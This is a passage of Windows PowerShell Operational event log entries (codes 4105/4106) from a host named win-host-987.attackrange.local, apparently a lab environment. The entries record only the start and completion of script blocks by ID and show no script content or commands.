09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027502
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027501
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027496
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027495
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027473
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027472
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027471
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027470
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027454
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
